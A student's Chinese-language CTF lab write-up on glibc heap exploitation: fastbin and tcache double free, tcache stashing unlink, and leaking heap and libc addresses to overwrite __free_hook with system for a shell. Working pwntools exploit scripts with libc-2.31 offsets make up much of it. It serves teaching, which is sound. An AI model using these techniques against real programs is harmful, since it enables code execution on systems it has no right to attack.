---
# System prepended metadata

title: LAB11
tags: [資訊安全實務]

---

---
tags: 資訊安全實務
---
# LAB11
## fastbin
這題由於是用callac，所以不會從tcahe上面拿東西，簡單的create在free掉7次後就能夠填滿tcahe，然後開始打fastbin了，目標是要double free之後，在create時寫上我們等等要寫的記憶體的位置，然後最後讓我們create時能夠成功在那塊記憶體位置上寫上東西，流程如下
* create(7)
* create(8)
* free(7)
* free(8) --> 繞過fastbin double free的檢查機制
* free(7)
* create(size, goal_addr)#f1 --> 在double free的地方寫上我們要的next addr
* create(size, "f2")
* create(size, "f1")
* create(size, goal_value) --> 在目標記憶體上寫上我們要的值

基本上完成上面步驟就能夠解出來，但fastbin有個特性，他不像tcahe隨便讓他只到一塊記憶體位置都能夠assign給我們來使用，他在size+flag那個地方必須要是合法正常的數值，不能夠亂指，所以我們要能夠讓他指到符合fastbin大小的size的記憶體上。

那我們要寫的目標記憶體上位置在`target[3]`上面，而他在targer[1]寫了一個值`target[1] = 0x23456789abcdef01`所以只要讓我們assign的地方能夠指到那個0x23就能夠合法，用圖說明
* 原本target長這樣
![](https://i.imgur.com/CDz0tvO.png)
* 我們的目標是要變這樣，這樣他就會覺得這塊是一個0x20的size(實際上是0x10來者)
![](https://i.imgur.com/6yAJhdw.png)

所以我們在實際create並且要改寫fd指到我們要寫的記憶體時要寫`create(size, target_addr + 0x07)`，之後就是把該寫的給寫進去了
```python
for i in range(7):
    create(0x18,"tcahe")
    delete(i)

create(0x18,"fastbin")
create(0x18,"fastbin")
delete(7)
delete(8)
delete(7)
print(p64(mapped))
create(0x18, p64(mapped + 0x07))
create(0x18,"fastbin")
create(0x18,"fastbin")

goal = 0xcafedeadbeefcafe

create(0x18, b'\x00' + p64(goal))
r.sendlineafter("Choice >","3")

r.interactive()
```
最後再提一下，再把goal寫進去前要加`b'\x00'`是因為我們是在addr+0x07的地方為了要寫進`target[3](0x18)`的地方，`addr+0x07+0x10=addr+0x17`，所以需要再多補一個byte才能剛好寫在0x18的地方


## tcahe
這題跟上題類似，但這次的create用的是malloc，且限制了次數，所以不可能用fastbin，只能從tcahe來打，然後用tcahe就簡單多了，double free的檢查機制是檢查key，而且他free掉後沒把pointer指到NULL，所以能夠繼續寫被free掉的那塊，就可以去修改key了，這題就這樣...沒了
```python
create(0x10,"1", 0 , "tcahe")
delete(0)
edit(0, 0, "hack_key_0")
delete(0)
edit(0, 0, "hack_key_1")
delete(0)
#input()
create(0x10, p64(mapped) , 0 , "tcahe")
create(0x10,"tcahe", 0 , "tcahe")
#input()
create(0x10,"tcahe", 0 , p64(0xcafedeadbeefcafe))

backdoor()

r.interactive()
```
但我在解這題時發現，其實我原本是沒有多出`edit(0, 0, "hack_key_1")`這個的，原本在我自己的local端中我不多這個我就能夠拿到shell，但只要用libc-2.31.so之後，我就會發現無法拿到shell，觀察了一下tcahe後我發現我local端在tcahe數量為0時，只要fd還有東西他就會assign這個fd指到的地方給我們寫東西，然後tcahe的數量就變-1了，但bind到libc-2.31.so上之後，他如果是0好像就不會給我們fd指到的地方，所以我才多free一次的。
## stash
其實這題我到現在也都沒有很理解...，只知道把它做成投影片的圖片一樣好像就可以了XD，目標有幾個：
* 讓tcahe裡有六個東西
* 讓small bin指到的東西fd指到small bin，bk指到我們另一塊能控制的地方
* 讓我們那個可以控制的地方bk指到`target addr - 0x10`，fd指到一塊small bin指到的chunk
* 然後在create一塊記憶體從small bin拿出來後，就會做一些很神奇的事情...
    * 某塊能控制的記憶體被塞回tcahe
    * target addr被寫入small bin的addr

看起來這個攻擊主要是針對某一塊記憶體寫一個非特定的值，來達成某種攻擊，code如下
```python
for i in range(8):
    create(0x78, 0,"tcahe")
for i in range(1,8):
    delete(i)
delete(0)
input()
super_create(0x78, 0, p64(heap + 0x2b0) + p64(mapped + 0x08)) #malloc from tcahe (trampoline), fd = chunk addr , bk = goal addr - 0x08 (goal addr = mapped + 0x18)
create(0x88, 0, "small_bin") #fastbin 0x20~0x80, push to small bin
edit(0, heap + 0x6b0)
create(0x78, 0, "hack") #calloc memory from small bin?
backdoor()
r.interactive()
```
那這邊注意一下幾個addr，這些addr代表者甚麼我覺得才是重點，助教上課講超快...
* heap + 0x2b0，這一塊就是被放到unsorted bin裡面稍後會被放到small bin的位置，所以super_create的fd填成這個位置
* mapped + 0x08就是target - 0x10，target在mapped + 0x10的地方，所以super_create的bk填成這個位置
* heap + 0x6b0是原本tcahe第7個的memory位置，因為我後來把它從tcahe裡面拿出來當作trampoline，所以small bin指到的chunk的bk要指到這個位置
* 這些位置是會隨者不同的libc而變的...，我這邊是用2.31

# HW11
## Babynote
基本上這題就是跟者助教上課講的流程走，所以我這邊想著重在我的理解，因為這題題目程式碼有擋掉一些操作，像是被delete掉的那個index就不能再去存取它之類的，但可以利用free掉後再malloc一次讓別的index指到同一個memory來繞過這個機制，然後還能夠利用這點來做double free(tcahe的)，還能夠順便leak出heap的記憶體位置，就是下面這段code
```python
### leak heap base
create(0x18, "tcahe_0") #0
delete(0)
create(0x18, "tcahe_1") #1,  assign memory to before I delete chunk --> 0 and 1 ptr to same addr
delete(0) # double free 0 so tcahe1 ptr to free ptr
for i in range(4):
    edit(1, p64(0) + p64(0))
    delete(0)
heap_addr = u64(show(1) + b'\x00\x00') - 0x2a0#0x260
print(hex(heap_addr))
```
那為什麼能leak出heap的位置原因就是，double free後fd指到自己，然後這題又提供一個show的function能讓我們吧fd給dump出來，所以就能看到它在heap上的位置後反推回heap在哪裡。

那接下來這就很玄了，因為unsorted bin是一個double linkitlist，講師這邊是講只有一個的時候會指到一些跟libc有關的地方去...我這邊的理解是指回main arena？因為除了tcahe以外其他的bin都會放在main arena裡再指出來，但因為我們大小被限制不能用出unsorted bin，所以要自己偽造一個chunk之後填滿tcahe，在free一次後就會跑到unsorted bin裡面，再從他的fd及bk指到的main arena來leak出libc，code如下
```python
### leak libc base
create(0x78, "tcahe_2") #2
#0x80 + (0x80 - 0x20 - 0x20) + 0x10 = 0xd0 --> fake sapce size 0xd0
create(0x78, b'\x00' * 0x48 + p64(0x21) + b'\x00' * 0x18 + p64(0x21)) #3
delete(2)
create(0x78, "tcahe_4")

create(0x18, p64(heap_addr + 0x2b0)) #5 --> let double free addr fd ptr to heap + 0x2b0
#write addr heap_addr + 0x2b0 to heap_addr + 0x2a0 mean next chunk fd ptr to heap_addr + 0x2a0
#so when malloc heap_addr + 0x2b0, tcahe will ptr to heap_addr + 0x2a0
create(0x18, p64(0) + p64(0) + p64(heap_addr + 0x2a0)) #6 --> after call this create, tcahe fd ptr to heap 0x2b0
create(0x18, p64(0) + p64(0xd1)) #7 --> fake chunk size 0xd0

#heap + 0x2b0 is addr of size of 0x80 of addr 
#Now size 0x80 be modify to 0xd0 so after fill tcahe 0xd0 of size of chunk will push to unsorted bin

#fill tcahe
for i in range(7):
    delete(2)
    edit(4, p64(0) + p64(0))

delete(2)
libc_off = 0x1ebbe0
libc_base = u64(show(4) + b'\x00\x00') - libc_off
free_hook_off = 0x1eeb28
system_off = 0x55410
print(hex(libc_base))
```
這樣我們有了這些位置後，我們就可以再從剛剛tcahe指回heap+0x2a0的fd寫入我們要指到的地方，在create出來後就能拿到shell了，code如下
```python
# call system
edit(1, p64(libc_base + free_hook_off - 0x8)) # fake fd ptr to free_hook - 0x08
create(0x18, "fuck") # let tcahe(0x18) ptr to free_hook - 0x08
create(0x18, b'/bin/sh\x00' + p64(libc_base + system_off)) # call system and push para
delete(9)
r.interactive()
```
## Childnote
好...即使延長了一周我還是沒寫QQ，主要是比完final後有些題目沒解開讓我渾身不自在所以多的這一周還在看final的題目...，這大概也是我交的最後一個writeup了:(

偷偷讓我在這裡說一下(!?，上完這學期後我是對web跟pwn比較有興趣的，所以比賽時我只看了web的flag A跟B還有EDUshell(然後這麼簡單的題目還是只解了一題...)，A在比賽中解了出來，B在賽後才解出來，但EDUshell我看了好久都沒看出怎麼打，不知道助教能不能跟我講一下那題的思路QQQ
